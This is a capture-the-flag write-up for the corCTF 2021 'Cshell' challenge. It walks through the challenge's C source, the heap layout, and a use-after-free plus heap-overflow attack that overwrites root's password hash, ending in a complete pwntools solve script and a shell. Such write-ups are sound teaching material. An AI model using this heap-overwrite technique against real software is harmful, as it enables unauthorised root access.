# corCTF 2021: Cshell

## TL;DR

> Abuses a boundary-check misconfiguration to overwrite a previously freed chunk (Use-After Free), then overflow it to reset the root account's hash.

## Basic File Checks

When we run the binary, we are asked to create a new user profile. We can provide a username, password and most importantly, a bio with the character limit of 200 words. To exploit the challenge, we need to find a way to become `root` with an UID of 0.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./Cshell       
       /\
      {.-}
     ;_.-'\
    {    _.}_
    \.-' /  `,
     \  |    /
      \ |  ,/
       \|_/

Welcome to Cshell, a very restricted shell.
Please create a profile.
Enter a username up to 8 characters long.
> testtest
Welcome to the system testtest, you are our 3rd user. We used to have more but some have deleted their accounts.
Create a password.
> pass
How many characters will your bio be (200 max)?
> 200
Great, please type your bio.
> nope

+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 2
testtest, uid: 1000

+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 3
Who do you think you are?
```

Only canary and NX is enabled, meaning we have to combine a canary leak + ROP attack if we were exploiting a buffer overflow. However, this could also be hinting at the possibility of a heap-related exploitation.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=Cshell 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   2280 Symbols      No    0               0               Cshell
```

## Static Code Analysis

The source code provided for this challenge is relatively lengthy, so let's go through each function one by one to understand the workflow and find a way to exploit it. (Some useless functions are removed for brevity)

At the beginning, the structure for a LinkedList *tracker* is initialized to store records of the *users* data type. The only takeaway here is that the *name* and *passwd* buffer for a user is 8 bytes and 35 bytes in size respectively.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>

//gcc Cshell.c -static -lcrypt -o Cshell

struct users {
	char name[8];
	char passwd[35];
};

struct tracker{
	struct tracker *next;
	struct users *ptr;
	char name[8];
	long int id;
};

char * alex_buff;
char * Charlie_buff;
char * Johnny_buff;
char * Eric_buff;

struct users *user;
struct users *root;

struct tracker *root_t;
struct tracker *user_t;

char *username[8];
char *userbuffer;
int uid=1000;
int length;
char salt[5] = "1337\0";
char *hash;

void menu(){
	puts("+----------------------+");
	puts("|        Commands      |");
	puts("+----------------------+");
	puts("| 1. logout            |");
	puts("| 2. whoami            |");
	puts("| 3. bash (ROOT ONLY!) |");
	puts("| 4. squad             |");
	puts("| 5. exit              |");
	puts("+----------------------+");
	int option;
	printf("Choice > ");
	scanf("%i",&option);
	switch(option){
		case 1:
			logout();
		case 2:
			whoami();
		case 3:
			bash();
		case 4:
			squad();
		case 5:
			exit(0);
		default:
			puts("[!] invalid choice \n");
			break;
	}
}
```

The LinkedList is iterated at the `logout()` function to find the existence of a user via it's username. If it finds one with that name, it will ask for a password and then hashes the plaintext password with the `1337` salt and checks the resulting hash against the stored hash.

```c
void logout(){
	fflush(stdin);
	getchar();
	struct tracker *ptr;
	printf("Username:");
	char username_l[9];
	char password_l[32];
	char *hash;
	scanf("%8s",username_l);
	for (ptr = root_t; ptr != NULL; ptr = root_t->next) {

        if (strcmp(ptr->name, username_l) == 0) {
            printf("Password:");
            scanf("%32s",password_l);
            hash = crypt(password_l,salt);
            if (strcmp(hash,ptr->ptr->passwd) == 0){
                strcpy(username,ptr->name);
                uid = ptr->id;
                puts("Authenticated!");
                menu();
            }
            else{
                puts("Incorrect");
                logout();
            }
        }
        else
        {
            if (ptr->next==0)
            {
                puts("Sorry no users with that name.");
                logout();
            }
        }
    }
}
```

At mentioned above, we need to select `3` from the menu as the `root` user to gain a bash shell. We can either tackle this challenge by cracking/guessing the root password or overwrite the password via some kind of overflow.

```c
void bash(){
	if (uid == 0){
		system("bash");
	}
	else 
	{
		puts("Who do you think you are?");
		exit(0);
	}
}
```

Despite the root’s password being visible as plaintext in the `main()` function, we can never access the root account by using `guessme:)` as the password. This is because our input will undergo irreversible hashing algorithm before it is compared with the stored hash. As a result, the comparison will always lead to a contradiction statement that is always false.

```c
int main(){
	setvbuf(stdout, 0 , 2 , 0);
	setvbuf(stdin, 0 , 2 , 0);
	root_t = malloc(sizeof(struct tracker));
	user_t = malloc(sizeof(struct tracker));
	history();
	banner();
	user = malloc(sizeof(struct users )* 4);
	root = user + 1;
	strcpy(user->name,"tempname");
	strcpy(user->passwd,"placeholder");
	strcpy(root->name,"root");
	strcpy(root->passwd,"guessme:)");
	strcpy(root_t->name,"root");
	root_t->ptr = root;
	root_t->id = 0;
	root_t->next = user_t;
	setup();
	strcpy(user->name,username);
	strcpy(user->passwd,hash);
	strcpy(user_t->name,username);
	user_t->id=1000;
	user_t->ptr = user;
	user_t->next = NULL;
	menu();
	return 0;
}
```

If we look at the code for `history()`, we can see what it was talking about when it said `you are our 3rd user. We used to have more but some have deleted their accounts`. Essentially, what happens here is that the two pointers to heap allocated memory of the buffer of Charlie and Eric aren't cleaned up, thereby presenting our first vulnerability of *Use-After-Free (UAF).*

```c
void history(){
	alex_buff = malloc(0x40);
	char alex_data[0x40] = "Alex\nJust a user on this system.\0";
	char Johnny[0x50] = "Johnny\n Not sure why I am a user on this system.\0";
	char Charlie[0x50] ="Charlie\nI do not trust the security of this program...\0";
	char Eric[0x60] = "Eric\nThis is one of the best programs I have ever used!\0";
	strcpy(alex_buff,alex_data);
	Charlie_buff = malloc(0x50);
	strcpy(Charlie_buff,Charlie);
	Johnny_buff = malloc(0x60);
	strcpy(Johnny_buff,Johnny);
	Eric_buff = malloc(0x80);
	strcpy(Eric_buff,Eric);
	free(Charlie_buff);
	free(Eric_buff);
}
```

The second vulnerability is a *Heap Overflow* that occurs in our bio when `setup()` is called. In short, It asks us for a length of bio, then allocates it with our *length + 8*, but call `fgets` to receive 201 characters anyway. To exploit this flaw, we can ask for a bio size smaller than 201 and achieve heap overflow.

Additionally, the `username` buffer, whose size is 8 bytes, is allocated with the `scanf()` function, reading up to 8 bytes. This could be a problem because `scanf()` writes the null terminator at the end, so indeed 9 bytes are written.&#x20;

```c
void setup(){
	char password_L[33];
	puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");
	printf("Enter a username up to 8 characters long.\n> ");
	scanf("%8s",username);
	printf("Welcome to the system %s, you are our 3rd user. We used to have more 
    but some have deleted their accounts.\nCreate a password.\n> ",username);
	scanf("%32s",&password_L);
	hash = crypt(password_L,salt);
	printf("How many characters will your bio be (200 max)?\n> ");
	scanf("%d",&length);
	userbuffer = malloc(length + 8);
	printf("Great, please type your bio.\n> ");
	getchar();
	fgets((userbuffer + 8),201,stdin);
}
```

## Heap Visualization

Keeping track of all the invocation of `malloc()`, in order of execution, from `main()` all the way until `setup()`, we can visualize how the heap is allocated.

<table><thead><tr><th width="129" align="center">Size</th><th align="center">Code</th></tr></thead><tbody><tr><td align="center">0x30</td><td align="center"><code>root_t = malloc(sizeof(struct tracker))</code></td></tr><tr><td align="center">0x30</td><td align="center"><code>user_t = malloc(sizeof(struct tracker))</code></td></tr><tr><td align="center">0x50</td><td align="center"><code>alex_buff = malloc(0x40)</code></td></tr><tr><td align="center">0x60</td><td align="center"><code>Charlie_buff = malloc(0x50)</code></td></tr><tr><td align="center">0x70</td><td align="center"><code>Johnny_buff = malloc(0x60)</code></td></tr><tr><td align="center">0x90</td><td align="center"><code>Eric_buff = malloc(0x80)</code></td></tr><tr><td align="center">-</td><td align="center"><code>free(Charlie_buff)</code></td></tr><tr><td align="center">-</td><td align="center"><code>free(Eric_buff)</code></td></tr><tr><td align="center">0xc0</td><td align="center"><code>user = malloc(sizeof(struct users )* 4)</code></td></tr></tbody></table>

Note that the last *users* struct actually holds the record for both *user* and *root*, which explains why the size is relatively larger.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FHbdL1adVgoTFOUgh8vzL%2Fimage.png?alt=media&#x26;token=27182fef-ee9a-4828-a69d-d53de2149d50" alt=""><figcaption></figcaption></figure>

## Exploit Plan

In order to chain the *Use-After-Free (UAF)* vulnerability with heap overflow, we have to reuse a previously freed chunk of matching sizes. If we allocate 120 characters for our bio, combined with the automatic addition of *+8*, it will be the same size as Eric's buffer (`0x80`) that was previously freed.&#x20;

Afterwards, since we are free to write anything to our own bio, Eric's buffer in this case, we can overflow it to overwrite the *passwd* of root account, because the *users struct* is just coincidentally below *Eric\_buff*.

### Calculating Padding

`128 + 8 + 8 + 35 + root + passwd`

1. We obviously need to fill the entirety of Eric's buffer before we can achieve a heap overflow, so we need 128 bytes of padding.
2. Now, notice that each and every heap chunk contains a magic byte as it's header. In this case, we need to fill the *users struct* header with 8 bytes.
3. Recall that the *name* and *passwd* buffer for a user is 8 bytes and 35 bytes in size respectively, and our *user* account is located on top of our *root* account. Hence, we need to overwrite the attributes of *user* account (8 + 35) with junk before we can reach the *root* account.
4. At this point, we have finally reached the *struct* for the *root* account. To prevent corruption, we need to overwrite the *root* username back as how it was, then finally write our custom password.

### Generate Custom Hash

Reusing part of the hashing algorithm provided in the source code, we can generate our own password to overwrite the root account.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>
//gcc hash.c -static -lcrypt -o hash

char salt[5] = "1337\0";
char *hash;

int main(){
	char password_L[33];
	char output[33] = "";
	char buffer[50];  

	printf("Create a password.\n> ");
	scanf("%32s",&password_L);

	char *hash = crypt(password_L,salt);
	printf("%s\n", hash);

	size_t len = strlen(hash); 
	for (size_t i = 0; i <= len; i++)
	{
		sprintf(buffer, "\\x%x", hash[i]);
		strcat(output, buffer);
	}

	printf("%s", output);
}
```

Compile and run the hashing binary to derive the hex bytes for our custom password.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ gcc hash.c -static -lcrypt -o hash
                                                                                                                                                  
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./hash                            
Create a password.
> securepassword
13dUb0ohO9yjc
\x31\x33\x64\x55\x62\x30\x6f\x68\x4f\x39\x79\x6a\x63\x0a
```

## Solution

Putting everything together in *pwntools* to automate the attack.

{% code title="solve.py" %}

```python
#!/usr/bin/env python3
from pwn import *

elf = ELF('./Cshell')

p = elf.process()

def register():
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "test")
	p.sendline(b"test")
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "rockyou")
	p.sendline(b"rockyou")
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "120")
	p.sendline(b"120")

def exploit():
	# Padding of 179
	padding = b"A"*128 # Fill Eric's buffer
	padding += b"A"*8 # Fill users struct header
	padding += b"A"*8 # Fill username for user
	padding += b"A"*35 # Fill password for user

	root_hex = p64(0x746f6f72) # root
	hashed_passwd = b"\x31\x33\x64\x55\x62\x30\x6f\x68\x4f\x39\x79\x6a\x63\x0a" # securepassword

	payload = padding
	payload += root_hex
	payload += hashed_passwd

	print(p.recvuntil(b"> ").decode(encoding='ascii'))
	p.sendline(payload) 

	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "1")
	p.sendline(b"1")
	print(p.recvuntil(b":").decode(encoding='ascii') +  "root")
	p.sendline(b"root")
	print(p.recvuntil(b":").decode(encoding='ascii') +  "securepassword")
	p.sendline(b"securepassword")
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "3")
	p.sendline(b"3")

def main():
	register()
	exploit()
	p.interactive()

if __name__ == "__main__":
	main()
```

{% endcode %}

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py           
[*] '/home/kali/Desktop/Cshell'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/kali/Desktop/Cshell': pid 2280
       /\
      {.-}
     ;_.-'\
    {    _.}_
    \.-' /  `,
     \  |    /
      \ |  ,/
       \|_/

Welcome to Cshell, a very restricted shell.
Please create a profile.
Enter a username up to 8 characters long.
> test
Welcome to the system test, you are our 3rd user. We used to have more but some have deleted their accounts.
Create a password.
> rockyou
How many characters will your bio be (200 max)?
> 120
Great, please type your bio.
> 
+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 1 
Username: root
Password: securepassword
Authenticated!
+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 3
[*] Switching to interactive mode
$ cat flag.txt
corctf{tc4ch3_r3u5e_p1u5_0v3rfl0w_equ4l5_r007}
```

**Flag:** corctf{tc4ch3\_r3u5e\_p1u5\_0v3rfl0w\_equ4l5\_r007}
